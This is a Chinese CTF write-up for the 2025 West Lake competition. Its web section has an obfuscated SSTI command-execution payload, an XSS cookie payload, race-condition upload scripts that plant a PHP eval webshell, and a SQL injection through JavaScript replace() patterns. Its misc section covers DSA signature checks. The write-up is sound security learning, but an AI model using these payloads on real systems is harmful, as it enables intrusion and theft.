25西湖ctf
2025西湖冬季
图片不全去我blog找👇
25西湖 | DDL'S BLOG
文章所有参考将在文末给出
web
web1
ssti
太简单的不赘述,知道用就行
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\150\145\141\144\40\57\146\154\141\52")').read()}}
赘述
个admin");alert(document.cookie);("能弹出admin
web2
先是弱口令爆破
密码year2000 用户admin
上传的php文件会被删除,条件竞争
普通脚本
import io
import re
import requests
import threading
# 定义目标 URL 和正则表达式
up_url = 'http://139.155.126.78:27102/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
php_idx = '1f14bba00da3b75118bc8dbf8625f7d0/(.*?)\\.php</'
payload = '''<?php
phpinfo();
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {file_put_contents($file, $code);
}
?>'''
p = io.StringIO(payload)
# 定义任务函数
def fetch_and_process():while True:try:# 获取页面内容headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Cache-Control": "max-age=0","Cookie": "PHPSESSID=keub5bch0acvude4bsikfa2m9k","Host": "139.155.126.78:27102","Origin": "http://139.155.126.78:28385","Referer": "http://139.155.126.78:28385/admin/index.php","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}
# you should modify File content and Content-Type by yourselffiles = {"file_upload": ("s.php", p, "image/png")}url = "http://139.155.126.78:27102/admin/index.php"res = requests.post(url=url, headers=headers, files=files, verify=False)shell_path = re.findall(php_idx, res.text)# 访问提取的 PHP 文件
print(requests.get(f'{up_url}{shell_path[0]}.php').text)print(f'{up_url}{shell_path[0]}.php')for i in range(10):print(requests.get(f'{up_url}{shell_path[0]}.php').text)except:pass
# 启动多线程
num_threads = 50
threads = []
for _ in range(num_threads):thread = threading.Thread(target=fetch_and_process)thread.daemon = True # 设置为守护线程threads.append(thread)thread.start()
# 保持主线程运行
for thread in threads:thread.join()
正则脚本
import requests
import re
import time
from multiprocessing import Process
burp0_url = "http://139.155.126.78:16004/admin/index.php"
burp0_cookies = {"PHPSESSID": "iua127iuofecbllp3f56gtg3qb"}
burp0_headers = {"Cache-Control": "max-age=0","Origin": "http://139.155.126.78:16004","Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryt2b9EtsFNrTXH9Tl","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Referer": "http://139.155.126.78:16004/admin/index.php","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Connection": "close"
}
burp0_data = """------WebKitFormBoundaryt2b9EtsFNrTXH9Tl\r\nContent-Disposition: form-data; name="file_upload"; filename="1.php"\r\nContent-Type: text/php\r\n\r\n<?php\nreadfile("/flag");\n?>\r\n------WebKitFormBoundaryt2b9EtsFNrTXH9Tl--\r\n"""
# 从响应中提取上传后的文件路径
def extract_uploaded_file(response_text):# 正则表达式匹配上传后的文件路径match = re.search(r'文件已保存为:\s*(.*?)(?=\s*</p>)', response_text)if match:return match.group(1)return None
# 尝试上传文件并访问它
def upload_and_access_file():while True:try:# 上传文件from time import timeimport hashlib# print(hashlib.md5())response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=5,proxies={"http":"127.0.0.1:8080"})if response.status_code == 200:print("File uploaded successfully, parsing response to find the file path...")
# 提取上传后的文件路径file_path = extract_uploaded_file(response.text)print(file_path)if file_path:# 完整的文件访问路径file_url = f"http://139.155.126.78:16004/admin/{file_path[1:]}"print(f"File uploaded to: {file_url}")
try:# 立即访问文件access_response = requests.get(file_url, timeout=5,proxies={"http":"127.0.0.1:8080"})if access_response.status_code == 200:print("Successfully accessed the file!")print("File Content:\n", access_response.text)exit()else:print(f"Failed to access the file, status code: {access_response.status_code}")except requests.exceptions.RequestException as e:print(f"Error accessing the file: {e}")else:print("Failed to find the uploaded file path in the response.")else:print(f"File upload failed, status code: {response.status_code}")
except requests.exceptions.RequestException as e:print(f"Error uploading file: {e}")
# 创建并启动多个进程
def start_processes(num_processes=10):processes = []for _ in range(num_processes):process = Process(target=upload_and_access_file)processes.append(process)process.start()
# 等待所有进程完成for process in processes:process.join()
if __name__ == "__main__":start_processes(50) # 启动 10 个进程来并行执行上传和访问任务
web3
源码
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{if(req.query.info){if(req.url.match(/\,/ig)){res.end('hacker1!');}var info = JSON.parse(req.query.info);if(info.username&&info.password){var username = info.username;var password = info.password;if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){res.end('hacker2!');}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}",username);sql = sql.replace("{password}",password);connection.query(sql,function (err,rs) {if (err) {res.end('error1');}else {if(rs.length>0){res.sendFile('/flag');}else {res.end('username or password error');}}})}else{res.end("please input the data");}}else{res.end("please input the data");}
})
考的是js代码的replace函数在替换的时候的特殊指定字符串替换
/?info=%7B%22username%22%3A%22%24%60%20union%20select%201%2C2%23%22%2C%22password%22%3A%22adminaaaaaaa%22%7D
源:
/?info={"username":"$` union select 1,2#","password":"adminaaaaaaa"}


misc
磁盘

提取俩文件

放进去.密码是图片,

挂载直接出

iot

easydatalog
日志文件提取脚本
import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64
# 读取公钥文件并存储到字典中
public_keys = {}
public_folder = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/public'
for filename in os.listdir(public_folder):if filename.endswith('.pem'):userid = filename[7:11] # 提取 useridwith open(os.path.join(public_folder, filename), 'rb') as key_file:public_key = DSA.import_key(key_file.read()) # 导入 DSA 公钥public_keys[userid] = public_key
# 读取签名数据文件
sign_data_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:reader = csv.DictReader(csvfile)altered_data = [] # 用于存储被篡改的数据
for row in reader:userid = row['username']name_signature = base64.b64decode(row['name_signature'])idcard_signature = base64.b64decode(row['idcard_signature'])phone_signature = base64.b64decode(row['phone_signature'])
# 读取原始数据original_data_file = 'original_data.csv'with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:original_reader = csv.DictReader(original_csvfile)for original_row in original_reader:if original_row['user'] == userid:data_str = original_row['data']data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"')) # 处理转义字符break
# 解码 name 字段中的 Unicode 转义字符name = data_dict['name'].encode('utf-8').decode('unicode_escape')
# 查找对应公钥public_key = public_keys.get(userid.zfill(4)) # userid 左侧补零至四位数
if public_key is not None:# 使用 DSS 算法验证签名signer = DSS.new(public_key, 'fips-186-3')
# 验证 namename_hash = SHA256.new(name.encode()) # 对解码后的名字进行哈希计算try:signer.verify(name_hash, name_signature)print(f"用户 {userid} 的 name 验证通过")except ValueError:print(f"用户 {userid} 的 name 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'name'})
# 验证 idcardidcard_hash = SHA256.new(data_dict['idcard'].encode())try:signer.verify(idcard_hash, idcard_signature)print(f"用户 {userid} 的 idcard 验证通过")except ValueError:print(f"用户 {userid} 的 idcard 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'idcard'})
# 验证 phonephone_hash = SHA256.new(data_dict['phone'].encode())try:signer.verify(phone_hash, phone_signature)print(f"用户 {userid} 的 phone 验证通过")except ValueError:print(f"用户 {userid} 的 phone 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'phone'})else:print(f"未找到 {userid} 对应的公钥")
# 将被篡改的数据写入新 csv 文件
if altered_data:altered_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/altered_data.csv'with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:fieldnames = ['userid', 'name', 'idcard', 'phone'] # 输出格式writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()for row in altered_data:# 将被篡改的数据写入 CSVwriter.writerow({'userid': row['userid'],'name': row['name'],'idcard': row['idcard'],'phone': row['phone']})print(f"被篡改的数据已保存到 {altered_file}")
else:print("未发现被篡改的数据")
剩下的就是misc了,不做了
DSASignatureData
先将json数据另存,然后分离出啦
tshark -r filter1.pcapng -T fields -e http.request.uri.query.parameter -e json.object -E separator=, > extracted_data.txt
拿脚本做验证
import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64public_keys = {}
public_folder = 'public'
for filename in os.listdir(public_folder):if filename.endswith('.pem'):userid = filename[7:11]with open(os.path.join(public_folder, filename), 'rb') as key_file:public_key = DSA.import_key(key_file.read())public_keys[userid] = public_keysign_data_file = 'data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:reader = csv.DictReader(csvfile)altered_data = []for row in reader:userid = row['username']name_signature = base64.b64decode(row['name_signature'])idcard_signature = base64.b64decode(row['idcard_signature'])phone_signature = base64.b64decode(row['phone_signature'])original_data_file = 'extracted_data.csv'with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:original_reader = csv.DictReader(original_csvfile)for original_row in original_reader:if original_row['user'] == userid:data_str = original_row['data']data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"'))breakname = data_dict['name'].encode('utf-8').decode('unicode_escape')public_key = public_keys.get(userid.zfill(4))if public_key is not None:signer = DSS.new(public_key, 'fips-186-3')name_hash = SHA256.new(name.encode())try:signer.verify(name_hash, name_signature)print(f"用户 {userid} 的 name 验证通过")except ValueError:print(f"用户 {userid} 的 name 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'name'})idcard_hash = SHA256.new(data_dict['idcard'].encode())try:signer.verify(idcard_hash, idcard_signature)print(f"用户 {userid} 的 idcard 验证通过")except ValueError:print(f"用户 {userid} 的 idcard 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'idcard'})phone_hash = SHA256.new(data_dict['phone'].encode())try:signer.verify(phone_hash, phone_signature)print(f"用户 {userid} 的 phone 验证通过")except ValueError:print(f"用户 {userid} 的 phone 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'phone'})else:print(f"未找到 {userid} 对应的公钥")altered_file = 'altered_data.csv'
with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:fieldnames = ['userid', 'name', 'idcard', 'phone']writer = csv.DictWriter(csvfile, fieldnames=fieldnames)writer.writeheader()for row in altered_data:writer.writerow({'userid': row['userid'],'name': row['name'],'idcard': row['idcard'],'phone': row['phone']})
参考
https://baozongwi.xyz/2025/01/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912025/#
https://mp.weixin.qq.com/s/hytf2uF2dKVOTv1Ht24Heg
相关文章:
25西湖ctf
2025西湖冬季 图片不全去我blog找👇 25西湖 | DDLS BLOG 文章所有参考将在文末给出 web web1 ssti 太简单的不赘述,知道用就行 {{cycler.__init__.__globals__.__builtins__[__import__](os).popen($(printf "\150\145\141\144\40\57\146\1…...
AI Agent:AutoGPT的使用方法
AutoGPT的使用方法 准备工作: 安装Python:确保你的电脑上安装了Python 3.8或更高版本。获取OpenAI API密钥:访问https://platform.openai.com/account/api-keys获取API密钥,并保存备用。获取Google API及Google Search Engine ID(可选):若要使用谷歌搜索功能,需访问htt…...
2024年博客之星主题创作|Android 开发:前沿技术、跨领域融合与就业技能展望
目录 引言 一、推动 Android 应用创新的核心力量 1.1 人工智能与机器学习的崛起 1.2 增强现实(AR)与虚拟现实(VR)的应用扩展 1.3 5G技术的推动 1.4 跨平台开发技术的成熟 1.4.1 React Native 1.4.2 Flutter 1.4.3 Taro …...
蓝桥杯小白备考指南
一、了解蓝桥杯 蓝桥杯大赛是工业和信息化部人才交流中心举办的全国性专业信息技术赛事 ,旨在促进软件和信息领域专业技术人才培养,提升高校毕业生的就业竞争力。比赛涵盖多个编程语言组别,如 Java、C/C、Python 等。不同组别和参赛类别&…...
面向对象的程序设计:以对象的方式进行思考
1 理解接口与实现的区别 以上一篇文章的电视机需要插电使用的例子继续来讲解: 对电视而言,插电使用,只需要标准的插座即可,具体的电从哪里来,是火力发电厂,或是太阳能发电,亦或是畜电池逆变供电,电视机是不需要关心的。 发电厂或供电设备属于实现,220V交流电插座属于…...
酵母三杂交实验全解析:从技术到应用【泰克生物】
酵母三杂交实验(Yeast Three-Hybrid, Y3H)是酵母双杂交(Y2H)技术的扩展,专门用于研究更复杂的分子相互作用,尤其是小分子与蛋白质间的相互作用。通过引入小分子作为第三方调节因子,酵母三杂交技…...
Git 分支合并
Merge(合并) Merge 是 Git 中最常用的分支合并方式之一。当你想要将一个分支的更改合并到另一个分支时,你可以使用 Merge 操作。 合并步骤: 通常是从开发分支往主分支上合并代码的时候用 merge 1、git checkout master&#x…...
C# 以管理员方式启动程序全解析
引言 在 Windows 应用程序开发的领域中,C# 语言凭借其强大的功能和广泛的适用性,被众多开发者所青睐。然而,在实际的开发过程里,我们常常会遭遇这样的情况:程序需要访问特定的系统资源,像是系统文件夹、注…...
CSS:语法、样式表、选择器
目录 一、语法 二、创建 外部样式表 内部样式表 内联样式 三、选择器 ID选择器 类选择器 伪类选择器 :hover a:link a:active a:visited 属性选择器 伪元素选择器 ::first-letter ::first-line ::selection ::placeholder ::before 和::after 通配选择器 标…...
python轻量级框架-flask
简述 Flask 是 Python 生态圈中一个基于 Python 的Web 框架。其轻量、模块化和易于扩展的特点导致其被广泛使用,适合快速开发 Web 应用以及构建小型到中型项目。它提供了开发 Web 应用最基础的工具和组件。之所以称为微框架,是因为它与一些大型 Web 框架…...
SQL和MySQL以及DAX的日期表生成?数字型日期?将生成的日期表插入到临时表或者实体表中
几种生成日期表的方法 如何用SQL语句生成日期表呢? 如何用MySQL语句生成日期表呢? 如何用DAX语句生成日期表呢? 1. MySQL生成日期表 1.1 日期格式:yyyy-MM-dd 字符型 2024-01-02 -- 生成日期表 WITH RECURSIVE temp_dateTable …...
文件下载时利用redis的队列模式顺序下载文件,防止多文件任务下载导致OOM
1、controller层控制 Resourceprivate RedissonClient redissonClient;Slf4j Service public class CustomerSettlementExportServiceImpl implements ICustomerSettlementExportService { /*** 文件加入队列顺序导出** param pubFileExportList 参数* return 结果*/public Aja…...
第13章:Python TDD完善货币加法运算(二)
写在前面 这本书是我们老板推荐过的,我在《价值心法》的推荐书单里也看到了它。用了一段时间 Cursor 软件后,我突然思考,对于测试开发工程师来说,什么才更有价值呢?如何让 AI 工具更好地辅助自己写代码,或许…...
两份PDF文档,如何比对差异,快速定位不同之处?
PDF文档比对是通过专门的工具或软件,自动检测两个PDF文件之间的差异,并以可视化的方式展示出来。这些差异可能包括文本内容的修改、图像的变化、表格数据的调整、格式的改变等。比对工具通常会标记出新增、删除或修改的部分,帮助用户快速定位…...
ESP-Skainet语音唤醒技术,设备高效语音识别方案,个性化交互应用
在当今数字化、智能化飞速发展的时代,物联网(IoT)与人工智能(AI)的深度融合正在重塑我们的生活和工作方式。 在智能家居的生态系统中,语音唤醒技术不仅能够为用户提供个性化的服务,还能通过定制…...
地图:nuxt3高德地图简单使用 / nuxt2 + amap
一、官方网站 JS API 安全密钥使用-基础-进阶教程-地图 JS API 2.0 | 高德地图API 二、使用 2.1、创建应用 2.2、添加key,得到key值 2.3、nuxt3项目 引入amap 2.4、pages/map.vue <template><div class"container"><div id"map-co…...
走进DevOps:让开发与运维齐头并进
引言:开发与运维的“世纪和解” 还记得那些年,开发人员总是埋头写代码,然后甩手交给运维去部署,仿佛是把热山芋扔给别人。而运维呢,总是默默承受着系统崩溃、服务停机的风险,直到某一天他们终于忍不住咆哮&…...
力扣动态规划-5【算法学习day.99】
前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?建议灵神的题单和代码随想录)和记录自己的学习过程,我的解析也不会做的非常详细,只会提供思路和一些关…...
LLM(3) : 浏览器录制16K的音频并上传到后端
可被阿里云[qwen-audio-asr]大模型识别 HTML <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>录音并上传</title></head><body><button id"recordButton">开始/停…...
PyTorch使用教程(13)-一文搞定模型的可视化和训练过程监控
一、简介 在现代深度学习的研究和开发中,模型的可视化和监控是不可或缺的一部分。PyTorch,作为一个流行的深度学习框架,通过其丰富的生态系统提供了多种工具来满足这一需求。其中,torch.utils.tensorboard 是一个强大的接口&…...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
Module Federation 和 Native Federation 的比较
前言 Module Federation 是 Webpack 5 引入的微前端架构方案,允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...
Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...
dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能
1. 开发环境准备 安装DevEco Studio 3.1: 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK 项目配置: // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...
tauri项目,如何在rust端读取电脑环境变量
如果想在前端通过调用来获取环境变量的值,可以通过标准的依赖: std::env::var(name).ok() 想在前端通过调用来获取,可以写一个command函数: #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...
